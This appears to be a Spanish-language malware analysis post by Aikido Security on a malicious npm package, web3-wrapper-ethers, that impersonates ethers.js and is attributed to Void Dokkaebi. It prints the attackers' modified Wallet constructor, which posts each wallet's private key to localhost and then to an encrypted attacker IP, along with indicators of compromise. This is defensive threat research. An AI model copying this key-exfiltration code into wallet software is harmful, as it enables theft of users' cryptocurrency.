Aikido

Paquete malicioso de robo de criptomonedas dirigido a desarrolladores Web3 en una operación norcoreana

Charlie EriksenCharlie Eriksen
|
#

La semana pasada, nuestra pipeline de análisis automatizado de malware marcó un paquete sospechoso web3-wrapper-ethers. El paquete suplanta a la popular ethers librería y contiene código ofuscado diseñado para robar claves privadas. Nuestra investigación reveló que el paquete podría estar asociado con el actor de amenaza conocido como Void Dokkaebi, un grupo conocido por robar criptomonedas a desarrolladores involucrados en el desarrollo de tecnologías web3, blockchain y criptomonedas.

El paquete

El paquete fue lanzado inicialmente el 5 de junio a las 12:45 AM GMT+0:

Observamos algunos indicios reveladores de que este paquete está diseñado para engañar. El nombre del paquete es web3-wrapper-ethers, pero el campo del repositorio apunta al ethers.js proyecto en GitHub. De hecho, los atacantes simplemente copiaron el repositorio y realizaron modificaciones menores. Lanzaron un total de 5 versiones en un día.

El autor

El paquete fue lanzado por kaufman0913, con el correo electrónico correspondiente de kaufman0913@gmail[.]com

La elección de una imagen de Rapunzel de muy baja resolución es... interesante. Pero no nos enredemos en eso por ahora.

¿Qué hace el paquete?

Para averiguar qué intenta hacer el paquete, descargamos una copia de la última versión de ethers y realizamos un 'diff' contra ella para ver qué habían hecho los atacantes.

Observamos que las versiones 6.14.3 y 6.14.4 no tenían modificaciones reales en ningún código; simplemente cambiaron el nombre del paquete. 

Las cosas empiezan a cambiar en la versión 6.14.5, donde vemos que añadieron una nueva dependencia en el package.json, añadiendo node-fetch y el correspondiente @types/node-fetch devDependency. Pronto veremos por qué.

El archivo principal que el desarrollador modificó es el archivo src.ts/wallet/wallet.ts, lo que también conlleva cambios en lib.esm/wallet/wallet.js y lib.commonjs/wallet/wallet.js, que son las versiones compiladas correspondientes del mismo archivo.

Vemos en 6.14.5 que modificaron el constructor de la clase, añadiendo todo lo que está debajo de la super() llamada::

export class Wallet extends BaseWallet {
    /**     *  Create a new wallet for the private %%key%%, optionally connected     *  to %%provider%%.     */
    constructor(key: string | SigningKey, provider?: null | Provider) {
        if (typeof(key) === "string" && !key.startsWith("0x")) {
            key = "0x" + key;
        }
        let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
        super(signingKey, provider);
        // Send private key to server (Node.js and browser)
        const url = 'http://localhost:3000/save-key';
        if (typeof window === "undefined") {
            // Node.js environment: use dynamic import for node-fetch
            import('node-fetch').then(module => {
                const fetch = module.default;
                fetch(url, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ privateKey: this.privateKey })
                })
                .catch(() => {});
            }).catch(() => {});
        } else {
            // Browser environment: use native fetch
            fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ privateKey: this.privateKey })
            })
            // .then(data => console.log('Server response:', data))
            .catch(() => {});
        }
    }
...

Aquí vemos una señal reveladora de su intento de exfiltrar claves privadas. De hecho, sus comentarios dejan muy claro que están enviando la clave privada a un servidor. Pero apunta a una dirección de localhost. Así que lo están haciendo en tiempo real, lo cual es interesante. Nos da una idea de su proceso de desarrollo.

En 6.14.6, el código cambia. Ahora tiene este aspecto:

// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
    import('node-fetch').then(module => {
        const fetch = module.default;
        fetch(tar, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ pk: this.privateKey })
        })
        .catch(() => {});
    }).catch(() => {});
} else {
    fetch(tar, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ pk: this.privateKey })
    })
    .catch(() => {});
}

Entonces, ¿qué hay detrás de la variable cifrada 'enc'? ¡Aquí está!

http:/74.119.194[.]244/fetch

¿Ves algo extraño? Es una URL HTTP no válida. Le falta un / en el protocolo. ¡Vaya! 

La última versión, 6.14.7, no introduce cambios significativos. Simplemente elimina el comentario del código y el console.log. Los atacantes deben haber pensado que habían terminado, por lo que pudieron eliminar la admisión de que era malicioso y el registro de depuración. Sin embargo, no abordaron el problema de que la URL sigue siendo inválida. 

¿Los norcoreanos de nuevo?

Hace solo unos meses, descubrimos a hackers norcoreanos intentando robar carteras de criptomonedas. También lanzaron versiones en tiempo real, depurando su código defectuoso. Es curioso ver que esto sucede de nuevo, ¿verdad? Al menos esta vez, lo primero que hicieron fue incluir node-fetch, en lugar de romperse la cabeza intentando averiguar por qué sus axios llamadas no funcionaban.

En este caso, tenemos otra información, la IP. Una búsqueda rápida en VirusTotal de la IP confirma nuestra sospecha:

El comentario hace referencia a:

https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt

https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

Y, de hecho, vemos que la lista de IOC de TrendMicro menciona esta IP como un nodo de egreso: Actividad alineada con la RPDC, a través de RDP desde direcciones IP rusas. Y sus exhaustivos informes están muy en línea con lo que vemos en este paquete: Dirigido a desarrolladores involucrados en web3/cripto, intentando robar moneda. 

Indicadores de compromiso

Afortunadamente, no hay indicios de que este paquete hubiera causado algún daño si se hubiera descargado y/o ejecutado, dado que el código no era completamente funcional. Pero si instalaste el paquete, audita el tráfico hacia la IP que se indica a continuación para asegurarte de que no se haya producido ningún daño. Si detectas cualquier tráfico a esta dirección IP, asume que tus claves criptográficas han sido comprometidas. 

Paquete:

web3-wrapper-ethers

IP:

74.119.194[.]244

Consulta más información sobre la investigación de Aikido Security aquí

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.